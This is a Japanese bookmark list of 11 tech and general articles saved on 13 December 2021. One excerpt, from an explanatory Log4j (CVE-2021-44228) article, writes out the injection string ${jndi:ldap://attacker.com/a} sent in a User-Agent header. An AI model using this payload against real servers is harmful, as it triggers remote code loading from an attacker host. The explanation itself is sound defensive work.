タグ

2021年12月13日のブックマーク (11件)

  • OCaml でゲームボーイエミュレータを書いた話 - Qiita

    はじめに ブラウザ上で動くゲームボーイエミュレータを OCaml で書きました。以下のページで試せます。 デモページ いくつかの homebrew ROM も一緒になっているのでいろいろ遊んでみてください。おすすめは「Bouncing ball」と「Tobu Tobu Girl」です。最近のスマホならだいたい安定して 60 FPS 出るはずなので、スマホでも遊べます。 レポジトリはこちらです。 スクリーンショット なぜ OCaml でゲームボーイエミュレータ?新しいプログラミング言語を学ぶ過程で以下のように思ったことはないでしょうか? 簡単なプログラムなら書けるが、中規模以上のコード1をどうやって書けばよいのか分からない 発展的な言語機能2も勉強しなんとなく理解した気になったが、実践のなかでどのように活用すればいいのかが分からない OCaml を格的に勉強し始めてた数ヶ月前の筆者はまさに

    OCaml でゲームボーイエミュレータを書いた話 - Qiita
  • アプリ開発の副業初日から信頼を得るためにやったこと | Offers Magazine

    新卒でサイバーエージェントに入社しiOSアプリ開発に従事。また、参加者300人規模の公式技術イベントCA.swiftの運営も務める。現在はWEDでiOSアプリ開発・バックエンド開発を兼務し、複数プロダクトの開発を担当している。また、副業ではiOSアプリ開発とプログラミング講師を行っている。AkkeyLabというブランドで活動中。 こんにちは。WED株式会社 iOSエンジニアとプロダクトオーナーを務めている、板谷(@AkkeyLab)と申します。 初めて副業にチャレンジしてからまだ1年半ほどですが、業と並行して月70時間程度は副業しており、副業に力を入れて取り組んできました。日々の進め方に工夫して取り組んできたおかげで副業先のプロジェクトマネージャーからは「進捗が分かりやすく、非常に助かっている」と評価を頂いています。 今回は、副業先との信頼の築き方という観点で工夫してきたことを紹介します

    アプリ開発の副業初日から信頼を得るためにやったこと | Offers Magazine
  • こども館で会う凄いパパさんの話

    ちょっとびっくりしたことがあったので書き留めとく。 毎週息子と遊んでいるこども館にちょっとした有名なお父さんがいるのね。見た目は小太りでいっつも同じパーカー着てる感じで頭はモジャモジャ。そのお父さんも毎週小学生の息子さんと遊びに来てるんだけど、毎回プラレールやら積み木やら工作やらおりがみやらを大人の気レベルで作るし(大人が見てもメチャ凄い)、話も面白いから周りの子どもにも超人気があるのよ。コミュニケーションオバケ。 先週、世界地図の前で子どもたちと一緒に国探しゲームをやったんだけど(正しくはそのお父さんが世界地図の近くに立ってたら子どもたちが寄ってきた)、そのお父さん、マニアックな国とか凄い知ってるの。子どもも親もみんなすげーすげー言ってて。子ども館の職員の人まで驚いてて、そのお父さんは冗談みたいに「まあオジさんはモーリシャス人の友達がいるからね」「オジさん実はブルキナファソの人とお仕事

    こども館で会う凄いパパさんの話
  • 😡webのスクロールでふわっと出てくるやつ絶対粉砕するマン【クソアプリ】 - Qiita

    おひさしぶりです。この記事はクソアプリ Advent Calendar 2021の13日目です 突然ですが皆さんは「スクロールに合わせてふわっと出てくるwebページ」ってどう思います? 最近多いですよね、あれ。 確かにオシャレだし楽しいしゲームとか作家さんのギャラリーサイトとかなら全然OK。でも情報が欲しくてアクセスしてるページで「ふわっ」ってされるとちょっとイラッとする。 ちょっと?...イラッと?...いや、 許さない、絶対 よろしい、ならば粉砕だ よそ様のサイトを粉砕する都合上、今回の実装はChrome機能拡張です。機能拡張はViteにChrome機能拡張用のプラグインvite-plugin-chrome-extensionを入れて作りました。今回は解説しないけど、これ超楽。フレームワークは無し、言語はTypeScriptです。 とは言え、クソアプリのためにChromeに機能拡張をイ

    😡webのスクロールでふわっと出てくるやつ絶対粉砕するマン【クソアプリ】 - Qiita
  • 日本人は急速な人口減の深刻さをわかっていない

    コンテンツブロックが有効であることを検知しました。 このサイトを利用するには、コンテンツブロック機能(広告ブロック機能を持つ拡張機能等)を無効にしてページを再読み込みしてください。 ✕

    日本人は急速な人口減の深刻さをわかっていない
  • iPhone・Androidで高速に日本語音声入力するためのベストプラクティス

    先日Twitterで「大学生がスマートフォンでレポートを書いている」というツイートが話題になっており、それに対して反応している方達もほぼ全員が「スマートフォンでレポートを書くのは効率が悪い」という前提で話をしていることに大変違和感を覚えました。 なぜなら私はこのブログはもちろん、技術書を執筆するときでさえ主にスマートフォンで下書きをしているからです。 PCを使うのは、ほぼスクリーンショットの撮影と最後の仕上げだけです。 その方が、最初からPCで文字入力するのに比べて圧倒的に効率が良いです。 この記事では、iPhoneAndroidそれぞれで音声入力を効率よくおこなう方法について解説します。 iPhoneiPadの場合 先に結論から申し上げると、iPhoneiPadMacの日語音声入力は、AndroidGoogle音声入力に比べて認識精度が低く、認識できる単語が少ないです。 仕事

    iPhone・Androidで高速に日本語音声入力するためのベストプラクティス
  • 「弟がいる長女は文系を選びやすく収入が低い」きょうだいの組み合わせが人生に及ぼす意外な影響 "ブラザーペナルティ"発生の仕組み

    きょうだいの組み合わせはその人の人生に影響があるのか。拓殖大学准教授の佐藤一磨さんは「弟がいる長女のほうが男性が少ない職場で働き、所得水準が低くなる傾向にある」という。その理由とは――。 兄弟姉妹の組み合わせによって人生は変わるのか 我々人間はさまざまなものから影響を受けて成長します。この中でも大きな影響を及ぼす要因の1つとして、家庭環境があげられます。 家庭環境は子どもの成長に大きな影響を及ぼすと考えられ、経済学でもこれまでさまざまな分析が行われてきました。 この中で最近注目を集めつつあるのが「兄弟姉妹の組み合わせ」です。ここでの「兄弟姉妹の組み合わせ」とは子どもが2人以上いる場合において、同性のみなのか、それとも異性も含まれているのかという点を指しています。 子どもを持つ親にとって、何人の子どもを持つのかという点は自分たちでコントロールできますが、生まれてくる子どもの性別まではコントロ

    「弟がいる長女は文系を選びやすく収入が低い」きょうだいの組み合わせが人生に及ぼす意外な影響 "ブラザーペナルティ"発生の仕組み
  • Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた - piyolog

    2021年12月10日、Javaベースのログ出力ライブラリ「Apache Log4j」の2.x系バージョン(以降はLog4j2と記載)で確認された深刻な脆弱性を修正したバージョンが公開されました。セキュリティ関係組織では過去話題になったHeartbleedやShellshockと同レベルの脆弱性とも評価しています。ここでは関連する情報をまとめます。 1.何が起きたの? Javaベースのログ出力ライブラリLog4j2で深刻な脆弱性(CVE-2021-44228)を修正したバージョンが公開された。その後も修正が不完全であったことなどを理由に2件の脆弱性が修正された。 広く利用されているライブラリであるため影響を受ける対象が多く存在するとみられ、攻撃が容易であることから2014年のHeartbleed、Shellshock以来の危険性があるとみる向きもあり、The Apache Software

    Log4jの深刻な脆弱性CVE-2021-44228についてまとめてみた - piyolog
  • Python言語による実務で使える100+の最適化問題 | opt100

    はじめに 書は,筆者が長年書き溜めた様々な実務的な最適化問題についてまとめたものである. 書は,Jupyter Laboで記述されたものを自動的に変換したものであり,以下のサポートページで公開している. コードも一部公開しているが,ソースコードを保管した Github 自体はプライベートである. を購入した人は,サポートページで公開していないプログラムを 圧縮ファイル でダウンロードすることができる. ダウンロードしたファイルの解凍パスワードは<に記述>である. 作者のページ My HP 書のサポートページ Support Page 出版社のページ Pythonによる実務で役立つ最適化問題100+ (1) ―グラフ理論と組合せ最適化への招待― Pythonによる実務で役立つ最適化問題100+ (2) ―割当・施設配置・在庫最適化・巡回セールスマン― Pythonによる実務で役立つ

  • 【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について

    JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNSLDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

    【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
  • 東工大、Python学べる機械学習の講義資料が無料に:人工知能ニュースまとめ10選 | Ledge.ai

    サインインした状態で「いいね」を押すと、マイページの 「いいね履歴」に一覧として保存されていくので、 再度読みたくなった時や、あとでじっくり読みたいときに便利です。

    東工大、Python学べる機械学習の講義資料が無料に:人工知能ニュースまとめ10選 | Ledge.ai